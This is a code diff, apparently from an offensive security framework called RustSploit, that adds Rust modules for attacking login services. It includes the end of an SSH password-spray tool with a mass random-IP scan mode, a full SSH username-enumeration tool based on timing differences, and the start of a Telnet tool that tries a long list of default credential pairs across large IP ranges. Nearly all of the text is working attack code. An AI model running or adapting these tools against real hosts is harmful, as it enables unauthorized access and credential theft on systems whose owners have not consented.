let mut handles = Vec::new();
|
||||
|
||||
for (host, port) in targets {
|
||||
if success_stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
for user in usernames {
|
||||
if success_stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
let results = Arc::clone(&results);
|
||||
let stats = Arc::clone(&stats);
|
||||
let success_stop_clone = Arc::clone(&success_stop);
|
||||
let host = host.clone();
|
||||
let user = user.clone();
|
||||
let password = password.to_string();
|
||||
|
||||
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
|
||||
// Check if we should stop before acquiring permit
|
||||
if success_stop_clone.load(Ordering::Relaxed) {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
|
||||
// Check again after acquiring permit
|
||||
if success_stop_clone.load(Ordering::Relaxed) {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
const MAX_RETRIES: u32 = 2;
|
||||
let mut attempt = 0u32;
|
||||
|
||||
loop {
|
||||
let host_clone = host.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = password.clone();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
|
||||
}).await;
|
||||
|
||||
match result {
|
||||
Ok(Ok(true)) => {
|
||||
stats.record_attempt(true, false);
|
||||
let cred = SprayResult {
|
||||
host: host.clone(),
|
||||
port,
|
||||
username: user.clone(),
|
||||
password: password.clone(),
|
||||
};
|
||||
crate::mprintln!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
results.lock().await.push(cred);
|
||||
// Persist credential to framework credential store
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&host, port, "ssh", &user, &password,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/ssh_sweep",
|
||||
).await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
// Signal stop if stop_on_success is enabled
|
||||
if stop_on_success {
|
||||
success_stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
break;
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
stats.record_attempt(false, false);
|
||||
break;
|
||||
}
|
||||
Ok(Err(_)) | Err(_) => {
|
||||
// Connection error — retry with exponential backoff
|
||||
if attempt < MAX_RETRIES {
|
||||
attempt += 1;
|
||||
// Exponential backoff: 500ms, 1000ms
|
||||
let delay_ms = 500u64 * (1u64 << (attempt - 1));
|
||||
sleep(Duration::from_millis(delay_ms)).await;
|
||||
continue;
|
||||
}
|
||||
stats.record_attempt(false, true);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for all tasks
|
||||
for handle in handles {
|
||||
if let Err(e) = handle.await { crate::meprintln!("[!] Task error: {}", e); }
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
if let Err(e) = progress_handle.await { crate::meprintln!("[!] Progress task error: {}", e); }
|
||||
|
||||
// Print summary
|
||||
stats.print_summary();
|
||||
|
||||
let results = results.lock().await;
|
||||
results.clone()
|
||||
}
|
||||
|
||||
/// Save results to file
|
||||
fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
let mut file = opts.open(path)?;
|
||||
|
||||
writeln!(file, "# SSH Password Spray Results")?;
|
||||
writeln!(file, "# Generated by RustSploit")?;
|
||||
writeln!(file, "# Total: {} credentials found", results.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for result in results {
|
||||
writeln!(file, "{}:{} @ {}:{}", result.username, result.password, result.host, result.port)?;
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("[+] Results saved to: {}", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Default usernames to spray
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "administrator", "ubuntu",
|
||||
"guest", "test", "oracle", "postgres", "mysql",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Mass scan mode: random IPs or target file
|
||||
if is_mass_scan_target(target) {
|
||||
let password = cfg_prompt_required("password", "Password to spray").await?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
let users_str = cfg_prompt_default("usernames", "Usernames (comma-separated)", "root,admin,ubuntu").await?;
|
||||
let users: Vec<String> = users_str.split(',').map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
let users = Arc::new(users);
|
||||
let password = Arc::new(password);
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "SSH Spray",
|
||||
default_port: 22,
|
||||
state_file: "ssh_sweep_mass_state.log",
|
||||
default_output: "ssh_sweep_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip: std::net::IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let password = password.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr: std::net::SocketAddr = format!("{}:{}", ip, port).parse().ok()?;
|
||||
for user in users.iter() {
|
||||
let tcp = crate::utils::blocking_tcp_connect(
|
||||
&addr,
|
||||
std::time::Duration::from_secs(10),
|
||||
).ok()?;
|
||||
if let Err(e) = tcp.set_read_timeout(Some(std::time::Duration::from_secs(10))) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
if let Err(e) = tcp.set_write_timeout(Some(std::time::Duration::from_secs(10))) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
let mut sess = ssh2::Session::new().ok()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
if sess.handshake().is_err() { continue; }
|
||||
if sess.userauth_password(user, &password).is_ok() && sess.authenticated() {
|
||||
let msg = format!("{}:{}:{}:{}", ip, port, user, password);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// Get password to spray
|
||||
let password = cfg_prompt_required("password", "Password to spray").await?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
|
||||
// Get port
|
||||
let port: u16 = cfg_prompt_default("ssh_port", "SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
|
||||
// Get targets
|
||||
let mut targets = Vec::new();
|
||||
|
||||
// Add initial target
|
||||
let host = normalize_target(target);
|
||||
if !host.is_empty() {
|
||||
crate::mprintln!("{}", format!("[*] Initial target: {}", host).cyan());
|
||||
targets.extend(parse_targets(&host, port));
|
||||
}
|
||||
|
||||
// Get additional targets
|
||||
let more_targets = cfg_prompt_default("additional_targets", "Additional targets (comma-separated, CIDR, or leave empty)", "").await?;
|
||||
if !more_targets.is_empty() {
|
||||
targets.extend(parse_targets(&more_targets, port));
|
||||
}
|
||||
|
||||
// Load from file?
|
||||
if cfg_prompt_yes_no("load_targets_file", "Load targets from file?", false).await? {
|
||||
let file_path = cfg_prompt_required("targets_file", "File path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
Ok(file_targets) => {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
|
||||
for t in file_targets {
|
||||
targets.extend(parse_targets(&t, port));
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Deduplicate targets
|
||||
let unique: HashSet<_> = targets.into_iter().collect();
|
||||
let targets: Vec<_> = unique.into_iter().collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No targets specified"));
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if cfg_prompt_yes_no("load_usernames_file", "Load usernames from file?", false).await? {
|
||||
let file_path = cfg_prompt_required("username_file", "Username file path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
Ok(loaded) => {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
usernames.extend(loaded);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || cfg_prompt_yes_no("use_default_usernames", "Also test default usernames?", true).await? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
// Get scan options
|
||||
let threads: usize = cfg_prompt_default("concurrency", "Concurrent threads", &DEFAULT_THREADS.to_string()).await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_THREADS);
|
||||
let timeout: u64 = cfg_prompt_default("timeout", "Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string()).await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", false).await?;
|
||||
|
||||
crate::mprintln!();
|
||||
|
||||
// Run spray
|
||||
let results = password_spray(targets, &usernames, &password, threads, timeout, stop_on_success).await;
|
||||
|
||||
// Save results?
|
||||
if !results.is_empty() && cfg_prompt_yes_no("save_results", "Save results to file?", true).await? {
|
||||
let raw = cfg_prompt_default("output_file", "Output file", "ssh_sweep_results.txt").await?;
|
||||
// Force basename only — no directory traversal
|
||||
let output_path = std::path::Path::new(&raw)
|
||||
.file_name()
|
||||
.map(|n| n.to_string_lossy().to_string())
|
||||
.unwrap_or_else(|| "ssh_sweep_results.txt".to_string());
|
||||
if output_path.is_empty() || output_path.starts_with('.') {
|
||||
crate::mprintln!("{}", "[-] Invalid output filename".red());
|
||||
} else if let Err(e) = save_results(&results, &output_path) {
|
||||
crate::mprintln!("{}", format!("[-] Failed to save: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,442 @@
|
||||
//! SSH User Enumeration Module (Timing Attack)
|
||||
//!
|
||||
//! Based on SSHPWN framework - enumerates valid users via timing attack.
|
||||
//! Inspired by CVE-2018-15473 style attacks.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no};
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SSH User Enumeration (Timing Attack)".to_string(),
|
||||
description: "Enumerates valid SSH usernames via timing-based side-channel attack. Measures authentication response time differences to identify valid accounts, inspired by CVE-2018-15473.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec!["CVE-2018-15473".to_string()],
|
||||
disclosure_date: Some("2018-08-17".to_string()),
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const DEFAULT_SAMPLES: usize = 3;
|
||||
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ SSH User Enumeration (Timing Attack) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Based on auth2.c timing differences ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ How it works: ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ - Measures authentication response time for each username ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ - Valid users often have different timing than invalid ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ - Compares against baseline (known invalid user) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Time a single authentication attempt
|
||||
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let start = Instant::now();
|
||||
|
||||
let tcp = match crate::utils::blocking_tcp_connect(
|
||||
&addr.parse().ok()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
|
||||
let mut sess = match Session::new() {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
sess.set_tcp_stream(tcp);
|
||||
if sess.handshake().is_err() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Try authentication with invalid password
|
||||
let invalid_password = format!(
|
||||
"invalid_{}_{}",
|
||||
std::process::id(),
|
||||
start.elapsed().as_nanos()
|
||||
);
|
||||
let _ = sess.userauth_password(username, &invalid_password);
|
||||
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
Some(elapsed)
|
||||
}
|
||||
|
||||
/// Sample authentication timing for a username
|
||||
fn sample_auth_timing(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
samples: usize,
|
||||
timeout_secs: u64,
|
||||
) -> Option<f64> {
|
||||
let mut times = Vec::new();
|
||||
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
|
||||
times.push(t);
|
||||
}
|
||||
// Small delay between samples
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
if times.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Return average
|
||||
Some(times.iter().sum::<f64>() / times.len() as f64)
|
||||
}
|
||||
|
||||
/// Load usernames from file
|
||||
fn load_usernames(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let usernames: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|l| l.ok())
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.collect();
|
||||
Ok(usernames)
|
||||
}
|
||||
|
||||
/// Enumerate valid users via timing attack.
|
||||
/// Uses spawn_blocking to avoid blocking the tokio runtime, since
|
||||
/// SSH timing attacks require synchronous I/O for measurement accuracy.
|
||||
pub async fn enumerate_users(
|
||||
host: &str,
|
||||
port: u16,
|
||||
usernames: &[String],
|
||||
samples: usize,
|
||||
timeout_secs: u64,
|
||||
threshold: f64,
|
||||
) -> Vec<String> {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Testing {} usernames with {} samples each",
|
||||
usernames.len(),
|
||||
samples
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Timing threshold: {:.3}s", threshold).cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
|
||||
let host = host.to_string();
|
||||
let usernames = usernames.to_vec();
|
||||
|
||||
// Run the blocking timing attack in a dedicated thread to avoid starving the runtime
|
||||
let result = tokio::task::spawn_blocking(move || {
|
||||
enumerate_users_blocking(&host, port, &usernames, samples, timeout_secs, threshold)
|
||||
})
|
||||
.await;
|
||||
|
||||
match result {
|
||||
Ok(users) => users,
|
||||
Err(e) => {
|
||||
crate::meprintln!("{}", format!("[-] Enumeration task failed: {}", e).red());
|
||||
Vec::new()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Synchronous implementation of timing-based user enumeration.
|
||||
fn enumerate_users_blocking(
|
||||
host: &str,
|
||||
port: u16,
|
||||
usernames: &[String],
|
||||
samples: usize,
|
||||
timeout_secs: u64,
|
||||
threshold: f64,
|
||||
) -> Vec<String> {
|
||||
// Establish baseline with known-invalid user
|
||||
let baseline_user = format!(
|
||||
"nonexistent_{}_{}",
|
||||
std::process::id(),
|
||||
Instant::now().elapsed().as_nanos()
|
||||
);
|
||||
crate::mprintln!("{}", "[*] Establishing baseline timing...".cyan());
|
||||
|
||||
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
crate::mprintln!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
|
||||
t
|
||||
}
|
||||
None => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[-] Failed to establish baseline - cannot reach target".red()
|
||||
);
|
||||
return Vec::new();
|
||||
}
|
||||
};
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[*] Testing usernames...".cyan());
|
||||
|
||||
let mut valid_users = Vec::new();
|
||||
|
||||
for (i, user) in usernames.iter().enumerate() {
|
||||
crate::mprint!(
|
||||
"\r[{}/{}] Testing: {} ",
|
||||
i + 1,
|
||||
usernames.len(),
|
||||
user
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
|
||||
match sample_auth_timing(host, port, user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
let diff = t - baseline;
|
||||
if diff.abs() > threshold {
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green()
|
||||
);
|
||||
valid_users.push(user.clone());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
// Connection failed, skip
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Results ===".cyan().bold());
|
||||
if valid_users.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No valid users found via timing attack".yellow());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] Note: This technique may not work on all SSH configurations".dimmed()
|
||||
);
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Found {} valid user(s):", valid_users.len()).green()
|
||||
);
|
||||
for user in &valid_users {
|
||||
crate::mprintln!(" - {}", user.green());
|
||||
}
|
||||
}
|
||||
|
||||
valid_users
|
||||
}
|
||||
|
||||
/// Default usernames to test
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "test", "guest", "ubuntu", "www-data", "daemon", "bin", "sys",
|
||||
"nobody", "mysql", "postgres", "oracle", "ftp", "ssh", "apache", "nginx", "tomcat", "redis",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Mass scan mode: random IPs, target file, or CIDR subnet (all handled concurrently)
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "SSH User Enum",
|
||||
default_port: 22,
|
||||
state_file: "ssh_user_enum_mass_state.log",
|
||||
default_output: "ssh_user_enum_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
|ip: std::net::IpAddr, port: u16| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
// Quick timing test with a few default usernames
|
||||
let host = ip.to_string();
|
||||
let test_users = ["root", "admin", "ubuntu", "test", "user"];
|
||||
let mut valid = Vec::new();
|
||||
// Baseline with known-invalid user
|
||||
let baseline = time_auth_attempt(&host, port, "xyznonexistent12345", 5)?;
|
||||
for user in &test_users {
|
||||
if let Some(elapsed) = time_auth_attempt(&host, port, user, 5) {
|
||||
if (elapsed - baseline).abs() > 0.3 {
|
||||
valid.push(*user);
|
||||
}
|
||||
}
|
||||
}
|
||||
if !valid.is_empty() {
|
||||
let msg = format!("{}:{}:valid_users={}", ip, port, valid.join(","));
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
let host = normalize_target(target);
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get parameters
|
||||
let port: u16 = cfg_prompt_default("ssh_port", "SSH Port", "22")
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_SSH_PORT);
|
||||
let samples: usize = cfg_prompt_default("samples", "Samples per username", "3")
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_SAMPLES);
|
||||
let timeout: u64 = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10")
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
let threshold: f64 = cfg_prompt_default("threshold", "Timing threshold (seconds)", "0.3")
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(TIMING_THRESHOLD);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if cfg_prompt_yes_no("load_usernames_file", "Load usernames from file?", false).await? {
|
||||
let file_path = cfg_prompt_required("username_file", "Username file path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_usernames(&file_path) {
|
||||
Ok(loaded) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames from file", loaded.len()).cyan()
|
||||
);
|
||||
usernames.extend(loaded);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty()
|
||||
|| cfg_prompt_yes_no(
|
||||
"use_default_usernames",
|
||||
"Also test default usernames?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Will test {} usernames", usernames.len()).cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
|
||||
// Run enumeration
|
||||
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
|
||||
|
||||
// Save results?
|
||||
if !valid_users.is_empty()
|
||||
&& cfg_prompt_yes_no("save_results", "Save valid users to file?", true).await?
|
||||
{
|
||||
let output_path =
|
||||
cfg_prompt_default("output_file", "Output file", "valid_ssh_users.txt").await?;
|
||||
let mut file = {
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
opts.open(&output_path)?
|
||||
};
|
||||
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
|
||||
for user in &valid_users {
|
||||
writeln!(file, "{}", user)?;
|
||||
}
|
||||
crate::mprintln!("{}", format!("[+] Saved to: {}", output_path).green());
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[*] SSH user enumeration complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,393 @@
|
||||
use anyhow::Result;
|
||||
use std::net::SocketAddr;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt, BufReader};
|
||||
use tokio::time::timeout;
|
||||
|
||||
use crate::utils::{run_mass_scan, MassScanConfig};
|
||||
use crate::utils::{cfg_prompt_output_file, cfg_prompt_yes_no};
|
||||
|
||||
use colored::*;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Telnet Hose (Mass Default Credential Check)".to_string(),
|
||||
description: "Rapidly tests default credentials against Telnet services across large IP ranges. Supports mass scanning with concurrent connections and multiple default port checks.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// Top 3 Telnet Ports
|
||||
const TELNET_PORTS: &[u16] = &[23, 2323, 8023];
|
||||
|
||||
// Default Credentials (user, pass) tuples
|
||||
const TOP_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("root", "root"),
|
||||
("root", "admin"),
|
||||
("root", "user"),
|
||||
("root", "1234"),
|
||||
("root", "123456"),
|
||||
("root", "password"),
|
||||
("root", "password123"),
|
||||
("root", "default"),
|
||||
("root", "support"),
|
||||
("root", "guest"),
|
||||
("root", ""),
|
||||
("admin", "root"),
|
||||
("admin", "admin"),
|
||||
("admin", "user"),
|
||||
("admin", "1234"),
|
||||
("admin", "123456"),
|
||||
("admin", "password"),
|
||||
("admin", "password123"),
|
||||
("admin", "default"),
|
||||
("admin", "support"),
|
||||
("admin", "guest"),
|
||||
("admin", ""),
|
||||
("user", "root"),
|
||||
("user", "admin"),
|
||||
("user", "user"),
|
||||
("user", "1234"),
|
||||
("user", "123456"),
|
||||
("user", "password"),
|
||||
("user", "password123"),
|
||||
("user", "default"),
|
||||
("user", "support"),
|
||||
("user", "guest"),
|
||||
("user", ""),
|
||||
("support", "root"),
|
||||
("support", "admin"),
|
||||
("support", "user"),
|
||||
("support", "1234"),
|
||||
("support", "123456"),
|
||||
("support", "password"),
|
||||
("support", "password123"),
|
||||
("support", "default"),
|
||||
("support", "support"),
|
||||
("support", "guest"),
|
||||
("support", ""),
|
||||
("guest", "root"),
|
||||
("guest", "admin"),
|
||||
("guest", "user"),
|
||||
("guest", "1234"),
|
||||
("guest", "123456"),
|
||||
("guest", "password"),
|
||||
("guest", "password123"),
|
||||
("guest", "default"),
|
||||
("guest", "support"),
|
||||
("guest", "guest"),
|
||||
("guest", ""),
|
||||
("1234", "1234"),
|
||||
];
|
||||
|
||||
// Keywords to match in help output (must match at least 2)
|
||||
const HELP_KEYWORDS: &[&str] = &[
|
||||
"show", "user", "system", "help", "exit", "quit", "logout", "enable", "config", "command",
|
||||
"menu", "admin",
|
||||
];
|
||||
|
||||
// Internal Logic Constants
|
||||
const CONNECT_TIMEOUT_MS: u64 = 2000;
|
||||
const LOGIN_TIMEOUT_MS: u64 = 6000; // Total time for a login attempt
|
||||
|
||||
#[derive(Debug, PartialEq, Clone, Copy)]
|
||||
enum TelnetState {
|
||||
WaitingForBanner,
|
||||
SendingUsername,
|
||||
WaitingForPasswordPrompt,
|
||||
SendingPassword,
|
||||
WaitingForResult,
|
||||
SendingHelp,
|
||||
WaitingForHelpResponse,
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results?", false).await?;
|
||||
let results_file = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file(
|
||||
"results_file",
|
||||
"Results output file",
|
||||
